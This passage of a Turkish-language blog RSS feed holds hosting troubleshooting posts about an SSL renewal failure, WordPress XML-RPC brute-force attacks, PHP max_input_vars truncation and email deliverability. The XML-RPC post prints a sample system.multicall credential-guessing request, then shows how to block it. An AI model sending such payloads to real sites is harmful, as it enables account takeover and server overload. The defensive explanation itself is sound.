<strong>NET::ERR_CERT_DATE_INVALID</strong></p>
</blockquote>
<p>Şirket genel merkezinde deprem etkisi yaratır. Şirket patronu bilgi işlem müdürünü odasına çağırır: <em>"Bütün sistemlerimizi hacklemişler! Ekran kırmızı oldu, korsanlar kartları çalıyor diyor! Müşteriler arıyor, dolandırıcı mısınız diyorlar! Derhal bu korsanları siteden temizleyin!"</em></p>
<p>Oysa ne bir Rus korsan vardır, ne de site hacklenmiştir. Olay çok daha basittir: <strong>Sitenin SSL sertifikasının süresi dün gece saat 23:59 itibarıyla dolmuştur!</strong></p>
<h3>90 Günlük Ömür ve Sessiz Katil: ACME Doğrulama Hatası</h3>
<p>İnternet dünyasını devrimsel bir şekilde ücretsiz şifrelemeyle tanıştıran <strong>Let's Encrypt</strong>, sertifikalarını 1 yıllık değil, bilerek ve isteyerek <strong>90 günlük</strong> periyotlarla verir. Mantık şudur: Şifreleme anahtarları sık sık yenilenmeli ve bu işlem insan eliyle değil, sunucudaki otomatik bir betik (<strong>Certbot / cPanel AutoSSL</strong>) tarafından her 60 günde bir sessizce arka planda yürütülmelidir.</p>
<p>Peki o zaman bu sistem neden 90. günde patlamıştır?</p>
<p>Sistem yöneticisi sunucuya SSH ile bağlanıp Certbot yenileme loglarını (<code>/var/log/letsencrypt/letsencrypt.log</code>) açar. Ve o acı gerçeği görür:</p>
<pre><code class="language-text">Certbot failed to authenticate some domains (authenticator: webroot).
The Certificate Authority failed to download the temporary challenge files.
Domain: sirketadi.com.tr
Detail: 185.120.xx.xx: Fetching http://sirketadi.com.tr/.well-known/acme-challenge/
4k9L_8x...: Timeout during connect (likely firewall problem)
</code></pre>
<p>Certbot, sertifikayı yenilemek için son 30 gündür her gece saat 02:00'de Let's Encrypt doğrulama sunucularına sinyal göndermiş; Let's Encrypt ise alan adının gerçekten o sunucuya ait olduğunu teyit etmek için sunucunun kök dizinine bir dosya bırakmaya çalışmıştır (<code>HTTP-01 Challenge</code>).</p>
<p>Fakat tam 20 gün önce şirketin web tasarımcısı <code>.htaccess</code> dosyasına kulaktan dolma bir "güvenlik kodu" eklemiştir:</p>
<pre><code class="language-apache"># Güya güvenliği artırıyor!
RewriteRule ^\..* - [F,L]
</code></pre>
<p>Bu kural, adı nokta ile başlayan tüm gizli klasörlere erişimi yasaklamaktadır!</p>
<p>Doğrulama dosyası <code>.well-known</code> klasörünün altına yazılmaya çalışıldığında web sunucusu <strong>403 Forbidden</strong> basmış; Let's Encrypt dosyayı okuyamamış ve sertifika yenileme işlemi sessizce başarısız olmuştur.</p>
<p>Certbot son 20 gündür her gece sessizce hata almış; kimse bu logları kontrol etmediği için 90. günün gecesinde sertifika ölmüş ve sabah o kırmızı felaket ekranı patlamıştır.</p>
<h3>Güvenin Sıfırlandığı O Kritik An</h3>
<p>Modern tarayıcılar için süresi dolmuş bir SSL sertifikası, sahte bir pasaport gibidir. Tarayıcı <em>"Bu sertifika dün güvenliydi, bugün de idare edeyim"</em> demez.</p>
<p>Bir e-ticaret sitesi için bu kırmızı ekranın bedeli telafi edilemez:</p>
<ul>
<li>Ziyaretçilerin <strong>%94'ü</strong> kırmızı uyarıyı gördüğü anda sayfayı kapatıp kaçar; çünkü tarayıcı onları doğrudan "Kredi kartınız çalınacak" diye uyarmaktadır.</li>
<li>Google reklam kampanyaları (Google Ads) süresi dolan sertifikayı anında tespit eder ve reklamları durdurur.</li>
<li>Şirketin dijital itibarı sıradan bir kullanıcı gözünde "hacklenmiş ve güvensiz" olarak damgalanır.</li>
</ul>
<h3>Cerrahi Güvence: SSL Asla Sürpriz Yapmamalıdır</h3>
<p>Otomasyona güvenmek güzeldir; ancak otomasyonun arkasında nöbet tutan bir izleme sistemi kurmak zorunludur:</p>
<ol>
<li><strong>Harici SSL İzleme (Uptime Robot / Pingdom):</strong> Sunucunun kendi cron kayıtlarına güvenmekle yetinmeyin. UptimeRobot, Oh Dear veya Better Uptime gibi harici izleme servislerine alan adınızı ekleyin. Bu servisler sertifikanızın bitmesine <strong>15 gün ve 7 gün kala</strong> telefonunuza SMS ve e-posta ile otomatik alarm gönderir: <em>"Dikkat! sirketadi.com SSL sertifikası 7 gün sonra doluyor, henüz yenilenmedi!"</em></li>
<li><strong>Kuru Çalıştırma Testi (Dry-Run):</strong> Bir web sitesine yeni bir <code>.htaccess</code> veya güvenlik duvarı kuralı eklediğinizde mutlaka Certbot'un doğrulama testini elle çalıştırın:
<pre><code class="language-bash">certbot renew --dry-run
</code></pre>
Eğer bu komut <em>"Congratulations, all simulated renewals succeeded"</em> diyorsa arkanıza yaslanabilirsiniz; hata veriyorsa engeli hemen çözün.</li>
<li><strong>DNS-01 Doğrulaması:</strong> Eğer <code>.well-known</code> klasörüyle uğraşmak istemiyorsanız, Cloudflare API entegrasyonuyla Certbot'un <strong>DNS-01 doğrulamasını</strong> kullanın. Bu yöntemde hiçbir web dosyasına ihtiyaç duyulmaz; Certbot doğrudan Cloudflare DNS'ine geçici bir TXT kaydı girerek sertifikayı %100 başarıyla ve engellere takılmadan yeniler.</li>
</ol>
<p>UVC lambasının yandığını gözüyle kontrol etmeyen sağlıkçı hastayı nasıl enfeksiyona kurban ediyorsa; SSL sertifikasının yenilenip yenilenmediğini takip etmeyen sistem mühendisi de şirketini kırmızı ekran rezaletine mahkûm eder. Otomasyon bir rahatlıktır; ancak denetlenmeyen otomasyon, bir sabah kapınızı çalacak saatli bir bombadır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSL</category>
            <category>Lets Encrypt</category>
            <category>Certbot</category>
            <category>Cron</category>
            <category>Siber Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ssl-otomatik-yenileme-cron-basarisizligi-sabah-uyandiginda-kirmizi-sertifika-uyarisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["WordPress XML-RPC Açığı" Üzerinden Yapılan Brute-Force Saldırıları]]></title>
            <link>http://localhost:3000/blog/post/wordpress-xml-rpc-acigi-uzerinden-yapilan-brute-force-saldirilari</link>
            <guid>wordpress-xml-rpc-acigi-uzerinden-yapilan-brute-force-saldirilari</guid>
            <pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[WordPress sitelerinin kök dizininde açık unutulan 20 yıllık xmlrpc.php dosyasının botnet ağları tarafından suistimal edilmesi, system.multicall ile saniyede binlerce şifre denenmesi ve sunucunun CPU'sunu eriten o gizli siber kuşatma.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/wordpress-xml-rpc-acigi-uzerinden-yapilan-brute-force-saldirilari/thumbnail" alt=""> Büyük bir devlet hastanesinin acil servis binasının güvenliğini planladığınızı düşünün. Ana giriş kapısına kurşun geçirmez çelik kapılar takıyorsunuz, x-ray cihazları yerleştiriyorsunuz, kapıya 4 tane zırhlı güvenlik görevlisi dikiyorsunuz. Dışarıdan bakan biri hastaneyi geçilmez bir kale zannediyor.</p>
<p>Fakat binanın arka bahçesinde, kazan dairesine inen ve ta 1980'lerden kalma eski bir havalandırma kapağının menteşeleri kırıktır ve kapak ardına kadar açıktır! Şehirdeki organize hırsız çeteleri bunu keşfeder. Ana kapıdaki bekçilere hiç görünmeden, o arka bodrum kapağından içeriye her gece çuvallarla girerler. Hastanenin jeneratör kablolarını keserler, tıbbi cihazların çiplerini sökerler ve içeriyi harabeye çevirirler. Sabah nöbete gelen hekim hastanenin elektriksiz kaldığını, monitörlerin çalışmadığını görür; ama kapıdaki bekçiler <em>"Hocam ana kapıdan içeri tek bir şüpheli bile girmedi"</em> diye yemin eder. İçeriyi yıkan şey ana kapı değil, arkada unutulan o köhne menfezdir.</p>
<p>WordPress ekosisteminde ve web altyapılarında her gün yüz binlerce web sitesinin sunucu işlemcisini eriten ve sistemi felç eden o meşhur köhne menfezin adı bellidir: <strong>xmlrpc.php.</strong></p>
<h3>Görünmeyen Kuşatma: "Sitem Sebepsizce Yavaşladı!"</h3>
<p>Perşembe öğleden sonra bir haber sitesi veya kurumsal firma sahibi destek masasına öfkeyle bilet açar:</p>
<blockquote>
<p><em>"Sizin sunucunuzda kesin bir problem var! Sitem dünden beri açılmıyor, tıklıyorum 15 saniyede dönüyor, bazen 504 Gateway Timeout veriyor. Google Analytics'e bakıyorum sitede sadece 30 kişi var! 30 kişiyle bir sunucu nasıl kilitlenir? Hani sizin sunucularınız son modeldi?"</em></p>
</blockquote>
<p>Müşteri haklı gibi görünmektedir. Sitede insan trafiği yoktur, reklam kampanyası çıkılmamıştır.</p>
<p>Sistem yöneticisi SSH ile sunucuya girer ve <code>htop</code> komutunu çalıştırır. Karşılaştığı tablo bir felakettir:</p>
<ul>
<li>16 çekirdekli sunucunun CPU kullanımı: <strong>%99.8!</strong></li>
<li>Load Average: <strong>42.0!</strong></li>
<li>Sunucunun tüm PHP-FPM havuzları ve Apache worker'ları tıka basa dolmuştur.</li>
</ul>
<p>Mühendis hemen canlı web sunucusu erişim loglarını (<code>access_log</code>) izlemeye (<code>tail -f</code>) alır. Ve ekranda saniyede yüzlerce satır boyunca tek bir hedefe vuran devasa bir mermi yağmuru akar:</p>
<pre><code class="language-text">198.51.100.12 - - [27/Feb/2026:14:12:01 +0300] "POST /xmlrpc.php HTTP/1.1" 200 4821 "-" "Mozilla/5.0..."
203.0.113.45 - - [27/Feb/2026:14:12:01 +0300] "POST /xmlrpc.php HTTP/1.1" 200 4821 "-" "Mozilla/5.0..."
192.0.2.88 - - [27/Feb/2026:14:12:01 +0300] "POST /xmlrpc.php HTTP/1.1" 200 4821 "-" "Mozilla/5.0..."
</code></pre>
<p>Sitenin ana sayfasına kimse girmiyordur; fakat dünyanın dört bir yanındaki binlerce zombi bilgisayardan (botnet) sitenin <code>xmlrpc.php</code> dosyasına saniyede <strong>300 adet HTTP POST isteği</strong> fırlatılmaktadır!</p>
<h3>2005 Yılından Kalan Fosilleşmiş Protokol</h3>
<p>Peki nedir bu <code>xmlrpc.php</code> ve neden tüm dünya bu dosyaya saldırmaktadır?</p>
<p>WordPress 2000'li yılların başında ilk tasarlandığında, akıllı telefonlar henüz yoktu. İnsanlar bilgisayarlarındaki masaüstü programlarından veya harici platformlardan WordPress'e uzaktan yazı gönderebilsin diye XML-RPC (XML Uzaktan Yordam Çağrısı) protokolü çekirdeğe entegre edildi.</p>
<p>Ancak günümüzde artık modern, güvenli ve şifreli <strong>WordPress REST API (<code>/wp-json/</code>)</strong> vardır. XML-RPC neredeyse tamamen işlevini yitirmiş, müzelik bir fosildir.</p>
<p>Fakat korsanlar için XML-RPC bir altın madenidir! Çünkü XML-RPC'nin içinde <strong><code>system.multicall</code></strong> adında korkunç bir fonksiyon barınır.</p>
<p>Normalde bir korsan sitenin giriş kapısına (<code>/wp-login.php</code>) geldiğinde tek bir şifre dener ve güvenlik eklentisi (Wordfence, iThemes) veya WAF onu 3 denemeden sonra banlar.</p>
<p>Oysa korsan <code>xmlrpc.php</code> dosyasına tek bir XML paketi göndererek der ki:<br>
<em>"Al sana tek bir HTTP isteği içinde 1.000 farklı kullanıcı adı ve şifre kombinasyonu! Bunların hepsini sırayla dene ve sonucu bana tek seferde dön!"</em></p>
<pre><code class="language-xml">&#x3C;methodCall>
  &#x3C;methodName>system.multicall&#x3C;/methodName>
  &#x3C;params>
    &#x3C;value>&#x3C;array>&#x3C;data>
      &#x3C;value>&#x3C;struct>
        &#x3C;member>&#x3C;name>methodName&#x3C;/name>&#x3C;value>&#x3C;string>wp.getUsersBlogs&#x3C;/string>&#x3C;/value>&#x3C;/member>
        &#x3C;member>&#x3C;name>params&#x3C;/name>&#x3C;value>&#x3C;array>&#x3C;data>
          &#x3C;value>&#x3C;string>admin&#x3C;/string>&#x3C;/value>
          &#x3C;value>&#x3C;string>pass123456&#x3C;/string>&#x3C;/value>
        &#x3C;/data>&#x3C;/array>&#x3C;/value>&#x3C;/member>
      &#x3C;/struct>&#x3C;/value>
      &#x3C;!-- Ve bunun gibi 1000 farklı şifre denemesi! -->
    &#x3C;/data>&#x3C;/array>&#x3C;/value>
  &#x3C;/params>
&#x3C;/methodCall>
</code></pre>
<p>Sunucu o tek istek karşısında şoka girer. İşlemci çekirdeği veritabanına bağlanır, 1.000 kez MD5/bcrypt şifre çözme algoritmasını çalıştırır. Saniyede 300 istek gelmesi demek, sunucunun saniyede <strong>300.000 şifre denemesiyle</strong> boğulması demektir! İşlemci alev alır, bellek tükenir ve meşru müşterilerin isteklerine yanıt verecek tek bir kaynak bile kalmaz.</p>
<h3>Arka Menfezi Kaynakla Mühürlemek</h3>
<p>Bu kabustan kurtulmanın çözümü, antibiyotik almak kadar kesin ve nettir: <strong>xmlrpc.php dosyasını kökünden mühürlemek!</strong></p>
<p>Eğer Jetpack eklentisi veya eski bir masaüstü bloglama aracı kullanmıyorsanız, bu dosyanın sitenizde açık kalmasının hiçbir mantıklı gerekçesi yoktur:</p>
<ol>
<li><strong>Nginx Seviyesinde Tam Engelleme (En Hızlı Yöntem):</strong><br>
Nginx sunucu bloklarınızın içine şu satırı ekleyin:
<pre><code class="language-nginx">location = /xmlrpc.php {
    deny all;
    access_log off;
    log_not_found off;
    return 444; # Bağlantıyı yanıt vermeden anında kapat!
}
</code></pre>
</li>
<li><strong>Apache <code>.htaccess</code> ile Kapıyı Kilitlemek:</strong><br>
<code>.htaccess</code> dosyanızın en tepesine şu kuralları yazın:
<pre><code class="language-apache"># XML-RPC erişimini herkese kapat
&#x3C;Files xmlrpc.php>
    order deny,allow
    deny from all
&#x3C;/Files>
</code></pre>
</li>
<li><strong>Cloudflare WAF Kuralı (Trafiği Sunucuya Uğratmamak):</strong><br>
En mükemmel savunma, bu bot trafiğini daha veri merkezinize gelmeden Cloudflare'in kenar sunucularında durdurmaktır. Cloudflare paneline girin, bir WAF Kuralı (Custom Rule) oluşturun:
<ul>
<li><em>Field:</em> URI Path</li>
<li><em>Operator:</em> contains</li>
<li><em>Value:</em> <code>/xmlrpc.php</code></li>
<li><em>Action:</em> <strong>Block</strong></li>
</ul>
</li>
</ol>
<p>Mühendis bu WAF kuralını devreye aldığı saniyede, sunucuya gelen mermi yağmuru kesilir. Cloudflare kapıda saniyede binlerce isteği hiç acımadan çöpe atar. Kök sunucunun CPU kullanımı %99'dan anında <strong>%2'ye</strong> düşer.</p>
<p>Müşteri sitesine tıklar; sayfa 0.3 saniyede açılır. Ve destek masasına mahcup bir teşekkür yazar: <em>"Hocam ne yaptıysanız elinize sağlık, site uçuyor!"</em></p>
<p>Ön kapıya çelik zırh dikip arka pencereyi açık bırakmak güvenlik değil, cehalettir. Kullanmadığınız her eski protokol, sisteminizde unutulmuş bir arka kapıdır. O kapıları kaynakla mühürlemezseniz, korsanların bot orduları sunucunuzu eninde sonunda kendi maden ocağına çevirir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>WordPress</category>
            <category>XML-RPC</category>
            <category>DDoS</category>
            <category>Brute Force</category>
            <category>Siber Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/wordpress-xml-rpc-acigi-uzerinden-yapilan-brute-force-saldirilari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP 'max_input_vars' Limiti": Menü veya Ürün Kaydederken Kaybolan Veriler]]></title>
            <link>http://localhost:3000/blog/post/php-max_input_vars-limiti-menu-veya-urun-kaydederken-kaybolan-veriler</link>
            <guid>php-max_input_vars-limiti-menu-veya-urun-kaydederken-kaybolan-veriler</guid>
            <pubDate>Thu, 26 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[WordPress mega menülerinde veya varyantlı e-ticaret ürünlerinde form kaydedilirken PHP'nin varsayılan max_input_vars sınırına toslayan ve hiçbir hata vermeden sessizce çöpe atılan verilerin yarattığı "Veritabanım bilgileri yutuyor" hezeyanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-max_input_vars-limiti-menu-veya-urun-kaydederken-kaybolan-veriler/thumbnail" alt=""> Yoğun bakımda mekanik ventilatörle solutulan bir hastanın takibinde hekimlerin en çok çekindiği teknik tuzaklardan biri "Sessiz Hipoventilasyon"dur (Silent Hypoventilation). Hekim hastanın akciğer kapasitesine göre cihazı ayarlar: <em>"Her nefeste 700 mililitre hava (tidal volüm) verilecek."</em></p>
<p>Fakat cihazın içindeki fabrika çıkışlı mekanik bir güvenlik subapı (pop-off valve) 400 mililitrenin üzerindeki tüm havayı sessizce, hiçbir alarm çalmadan, tek bir bip sesi dahi çıkarmadan dışarı tahliye etmektedir!</p>
<p>Dışarıdan bakan hemşire cihazın çalıştığını görür, ekranda yeşil ışık yanmaktadır. Ancak hastanın ciğerlerine giden hava yetersizdir. Hasta saatler içinde yavaş yavaş hipoksiye girer, kanda karbondioksit birikir, asidoz başlar ve hasta sessizce bilincini kaybeder. Felaketi korkunç kılan şey, sistemin arıza anında bağırmayıp hiçbir şey olmamış gibi davranmasıdır.</p>
<p>Yazılım mimarisinde ve PHP ekosisteminde de web yöneticilerinin saçını başını yolduran en sinsi, en esrarengiz hata tam olarak bu sessiz tahliye felaketidir: <strong>PHP'nin <code>max_input_vars</code> güvenlik sınırının verileri sessizce budaması (Truncation).</strong></p>
<h3>Çarşamba 16:00: "Menümün Yarısı Buharlaştı!"</h3>
<p>Büyük bir e-ticaret sitesinin veya kurumsal holding portalının içerik yöneticisi saatlerdir WordPress paneli üzerinde ter dökmektedir. Sitenin üst kısmında devasa bir "Mega Menü" inşa etmektedir:</p>
<ul>
<li>Kategoriler, alt kategoriler, marka listeleri, mega açılır menüler...</li>
<li>Menüde tam 90 adet madde vardır. Her bir maddenin başlığı, linki, CSS sınıfı, açılır menü ikonu, yetki seviyesi tek tek girilmiştir.</li>
</ul>
<p>Yönetici sağ alttaki mavi <strong>"Menüyü Kaydet"</strong> butonuna basar.</p>
<p>Sayfa yenilenir. Ekranda yeşil bir bildirim çıkar: <em>"Menü başarıyla güncellendi."</em></p>
<p>Fakat yönetici menü ağacına baktığında şok geçirir:<br>
Menünün ilk 60 maddesi yerli yerindedir; ancak son 30 madde sanki hiç yazılmamış gibi tamamen buharlaşmıştır!</p>
<p>Yönetici <em>"Herhalde internetim koptu"</em> diyerek o 30 maddeyi büyük bir sabırla tekrar tek tek ekler. Tekrar "Kaydet" der. Sayfa yenilenir; son 30 madde yine yok!</p>
<p>Yönetici çıldırır. Bu kez bir varyantlı ürün eklemeyi dener: Bir tişörtün 5 farklı bedeni, 8 farklı rengi ve 3 farklı kumaş tipi vardır. WooCommerce varyantları oluşturur, stokları ve fiyatları girer. "Kaydet"e basar; renklerin yarısı kaybolur!</p>
<p>Hemen hosting firmasına ecel terleri dökerek bilet açılır:</p>
<blockquote>
<p><em>"ACİL! Veritabanınızda kesinlikle bir bozulma var! Sitede menü veya ürün kaydediyorum, sistem son girdiğim 30 veriyi siliyor! Veritabanınız verileri yutuyor, sabahtan beri emeğim çöp oldu! Derhal bu hatayı düzeltin!"</em></p>
</blockquote>
<h3>Suçlu Veritabanı Değil: max_input_vars Muhafızı</h3>
<p>Sistem mühendisi veritabanını inceler; MySQL'de tek bir hata bile yoktur. Disk dolmamıştır, tablolar kilitlenmemiştir.</p>
<p>Peki o son 30 menü maddesi nereye kaybolmuştur?</p>
<p>Cevap, PHP'nin <code>php.ini</code> dosyasının derinliklerindeki tek bir satırda gizlidir:</p>
<pre><code class="language-ini">max_input_vars = 1000
</code></pre>
<p>2011 yılında güvenlik araştırmacıları, PHP'nin HTTP POST verilerini işlerken Hash Collision (özet çakışması) saldırılarına maruz kalabildiğini ve küçük bir istekle CPU'nun %100 kilitlenebildiğini keşfetti. PHP geliştiricileri buna bir savunma mekanizması olarak <code>max_input_vars</code> parametresini icat etti.</p>
<p>Bu parametre der ki: <em>"Bir HTML formundan gelen toplam input/select/checkbox değişkeni sayısı 1.000'i aşarsa, sistem güvenliğini korumak için 1.000'den sonrasını kabul etme!"</em></p>
<p>Ve en acımasız kısım şudur: PHP motoru bu sınırı aştığında ekrana bir hata basmaz! Kullanıcıya <em>"Formun çok büyüktü, kestim"</em> demez! Sadece PHP hata günlüğüne (<code>error_log</code>) sessiz bir uyarı fırlatır:</p>
<pre><code class="language-text">[26-Feb-2026 16:04:12 UTC] PHP Warning: Input variables exceeded 1000. 
To increase the limit change max_input_vars in php.ini.
</code></pre>
<p>Ve 1.001'inci değişkenden itibaren gelen tüm verileri sessizce bir kağıt öğütücü gibi çöpe atar!</p>
<h3>WordPress Menülerinin Matematik Tuzağı</h3>
<p>Kullanıcı zanneder ki <em>"Ben alt tarafı 80 tane menü ekledim, 80 nerede 1.000 nerede?"</em></p>
<p>İşte gözden kaçan matematiksel tuzak buradadır! WordPress menü yöneticisinde tek bir menü elemanı, form içinde sadece tek bir değişken üretmez. Tek bir menü kutucuğu arka planda şu gizli input alanlarını gönderir:</p>
<ul>
<li><code>menu-item-db-id[142]</code></li>
<li><code>menu-item-object-id[142]</code></li>
<li><code>menu-item-object[142]</code></li>
<li><code>menu-item-parent-id[142]</code></li>
<li><code>menu-item-position[142]</code></li>
<li><code>menu-item-type[142]</code></li>
<li><code>menu-item-title[142]</code></li>
<li><code>menu-item-url[142]</code></li>
<li><code>menu-item-classes[142]</code></li>
<li><code>menu-item-target[142]</code></li>
<li><code>menu-item-attr-title[142]</code></li>
<li><code>menu-item-description[142]</code></li>
</ul>
<p>Tek bir menü maddesi tarayıcıdan sunucuya tam <strong>12 ila 15 adet form değişkeni</strong> fırlatır!</p>
<p>Basit bir çarpma işlemi:<br>
80 menü maddesi × 14 değişken = <strong>Tam 1.120 değişken!</strong></p>
<p>Form "Kaydet" butonuna basıldığı an, ilk 70 menü maddesi (yaklaşık 980 değişken) PHP'nin o 1.000 limitli kapısından geçer. Geriye kalan son 10 menü maddesinin 140 değişkeni ise o mekanik subap tarafından sessizce uzay boşluğuna fırlatılır! Kullanıcı sayfayı yenilediğinde menünün sonunun kesildiğini görür.</p>
<h3>Cerrahi Tedavi: Subapı Genişletmek</h3>
<p>Bu gizemli veri kaybını saniyeler içinde ortadan kaldırmak için sunucu yapılandırmasında şu cerrahi dokunuş yapılmalıdır:</p>
<ol>
<li><strong><code>php.ini</code> veya cPanel PHP Selector Üzerinden Limiti Artırmak:</strong><br>
Sunucunun <code>php.ini</code> dosyasını açın (veya cPanel > MultiPHP INI Editor sekmesine girin). Değeri kurumsal e-ticaret ve mega menü standartlarına çekin:
<pre><code class="language-ini">max_input_vars = 5000
</code></pre>
Eğer siteniz 200'den fazla varyant içeren devasa ürünler barındırıyorsa bu değeri güvenle <strong>10000</strong> seviyesine çıkarabilirsiniz.</li>
<li><strong><code>.user.ini</code> veya <code>.htaccess</code> ile Yerel Ayar:</strong><br>
Eğer kök <code>php.ini</code> dosyasına erişiminiz yoksa, sitenizin ana dizinindeki <code>.user.ini</code> dosyasına şu satırı yazın:
<pre><code class="language-ini">max_input_vars = 5000
</code></pre>
Veya Apache PHP modülü çalışıyorsa <code>.htaccess</code> içine:
<pre><code class="language-apache">php_value max_input_vars 5000
</code></pre>
</li>
<li><strong>Mega Menü Eklentilerini İncelemek:</strong> Menülerinizi yüzlerce ham link olarak WordPress'in yerel menü yöneticisine yığmak yerine, JSON tabanlı modern mega menü eklentileri (Örn: Max Mega Menu) kullanarak form yükünü hafifletmek.</li>
</ol>
<p>Sessiz hipoventilasyon hastayı nasıl hissettirmeden boğuyorsa, <code>max_input_vars</code> limiti de form verilerini öyle çaktırmadan budar. Bir sistemde hata mesajı çıkmaması, her şeyin yolunda olduğu anlamına gelmez. Mimarinin görünmeyen emniyet subaplarını bilmeyen her geliştirici, kaybolan verilerinin arkasından hayalet hikayeleri anlatmaya mahkûmdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>max_input_vars</category>
            <category>WordPress</category>
            <category>WooCommerce</category>
            <category>Sistem Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-max_input_vars-limiti-menu-veya-urun-kaydederken-kaybolan-veriler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Bana Özel IP Verin Spam'e Düşmeyeyim" Şehir Efsanesi]]></title>
            <link>http://localhost:3000/blog/post/bana-ozel-ip-verin-spame-dusmeyeyim-sehir-efsanesi</link>
            <guid>bana-ozel-ip-verin-spame-dusmeyeyim-sehir-efsanesi</guid>
            <pubDate>Wed, 25 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[E-postaları Gmail ve Hotmail'de spam klasörüne düşen müşterinin, ek ücret ödeyip Statik/Dedicated IP satın alarak kurtulacağını sanması ve 24 saat sonra yeni IP'sini de kara listeye sokarak yaşadığı o büyük hayal kırıklığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bana-ozel-ip-verin-spame-dusmeyeyim-sehir-efsanesi/thumbnail" alt=""> Dahiliye ve enfeksiyon hastalıkları kliniğinde yatan ağır bir sepsis (kan zehirlenmesi) hastasını düşünün. Vücudunda ilerlemiş bir kangren odağı vardır, kanında milyonlarca bakteri dolaşmaktadır ve ateşi 40 derecedir. Şimdi bu hastanın hastane yatağından kalkıp, <em>"Benim bu hastalığım üzerimdeki eski pijamalardan kaynaklanıyor"</em> diyerek gidip 5.000 dolara sıfır, pırıl pırıl bir İtalyan takım elbise giydiğini hayal edin. Takım elbiseyi giyer, kravatını takar ve aynaya bakıp gülümser: <em>"Gördünüz mü? Artık hiçbir hastalığım kalmadı, sapasağlamım!"</em></p>
<p>Fakat on dakika sonra sokakta yürürken kan basıncı sıfıra düşer, bilinci bulanıklaşır ve yere yığılır. Acil tıp ekibi hastayı sedyeye aldığında üzerindeki pahalı takım elbiseye bakmaz; kan gazına, laktat seviyesine ve kangrenli yaraya bakar. Hastayı doğrudan yoğun bakımın steril tecrit odasına kilitlerler. Çünkü enfeksiyon elbisede değil; bizzat hastanın kanında, dokularında ve hücrelerindedir.</p>
<p>Web barındırma ve e-posta iletişimi dünyasında son yirmi yıldır esnafın ve şirket yöneticilerinin dillerinden düşürmediği en yaygın şehir efsanesi de tam olarak bu takım elbiseli sepsis hezeyanıdır: <strong>"Bana sunucudan özel bir Dedicated (Statik) IP verin, maillerim asla spam'e düşmesin!"</strong></p>
<h3>Pazartesi 10:00: Kutsal Kurtarıcı Arayışı</h3>
<p>Bir toptancının veya sigorta acentesinin şirket mailleri müşterilere ulaşmamaktadır. Müşterilere atılan teklifler, sözleşmeler ve faturalar doğrudan Hotmail ve Gmail'in "Gereksiz / Spam" kutusuna düşmektedir.</p>
<p>Şirket sahibi forumlarda veya bir web tasarımcısından o meşhur reçeteyi duyar: <em>"Ağabey senin maillerin niye spam'e düşüyor biliyor musun? Çünkü paylaşımlı IP kullanıyorsun. O IP'deki diğer komşular spam yapıyor, fatura sana kesiliyor. Sen hosting firmasını ara, aylık 3 dolar verip kendine <strong>Özel (Dedicated) IP</strong> al; maillerin doğrudan gelen kutusuna (inbox) düşer!"</em></p>
<p>Şirket sahibi gözleri parlayarak hosting firmasını arar. Hemen ek ücreti öder, hesabına pırıl pırıl, daha önce hiç kullanılmamış veya tertemiz bir IP adresi (<code>185.120.45.99</code>) tanımlatır.</p>
<p>Sistem yöneticisi alan adının A ve posta çıkış kayıtlarını bu yeni IP'ye yönlendirir.</p>
<p>Şirket sahibi koltuğuna kurulur, bir müşterisine test maili atar:<br>
<em>"Merhaba, teklifimiz ektedir."</em> (Ek: 12 MB'lık taranmış görsel, Başlık: BÜYÜK HARFLERLE YAZILMIŞ, İmzada hiçbir şirket adresi yok!).</p>
<p>Ve maili gönderir. İki dakika sonra müşteriyi arar: <em>"Mail attım aldınız mı?"</em></p>
<p>Müşterinin cevabı soğuk bir duş gibidir: <em>"Ahmet Bey yine Önemsiz Posta klasörüme düşmüş!"</em></p>
<h3>Neden? Sıfır Kilometre IP Neden İşe Yaramadı?</h3>
<p>Şirket sahibi küplere biner. Destek masasına ateş püskürür:</p>
<blockquote>
<p><em>"Siz beni dolandırdınız! Özel IP aldım, paramı çektiniz ama maillerim hâlâ spam'e düşüyor! Bozuk IP mi verdiniz bana? Derhal düzeltin şunu, yoksa savcılığa gidiyorum!"</em></p>
</blockquote>
<p>Destek mühendisi derin bir nefes alır. Müşteriye modern internetin, yapay zekanın ve küresel e-posta filtreleme algoritmalarının nasıl çalıştığını tane tane anlatmak zorundadır.</p>
<p>Kullanıcının bilmediği devasa gerçek şudur: <strong>E-posta itibarında IP adresi sadece denklemin %20'sidir; geriye kalan %80 bizzat sizin alan adınızın (Domain Reputation), kimlik protokollerinizin ve e-posta içeriğinizin kalitesidir!</strong></p>
<h3>1. Kimlik Kartı Olmayan Mektup: SPF, DKIM ve DMARC Felaketi</h3>
<p>Siz dünyanın en pahalı Dedicated IP'sini alsanız bile, alan adınızın DNS kayıtlarında şu üç kutsal mühür yoksa Gmail kapıyı yüzünüze kapatır:</p>
<ul>
<li><strong>SPF (Sender Policy Framework):</strong> Bu alan adı adına kimlerin mail atabileceğini belirten yetki belgesi.</li>
<li><strong>DKIM (DomainKeys Identified Mail):</strong> Mailin yolda tahrif edilmediğini kanıtlayan kriptografik dijital imza.</li>
<li><strong>DMARC:</strong> Sahte maillere karşı alıcı sunucuya ne yapması gerektiğini söyleyen kurumsal politika.</li>
</ul>
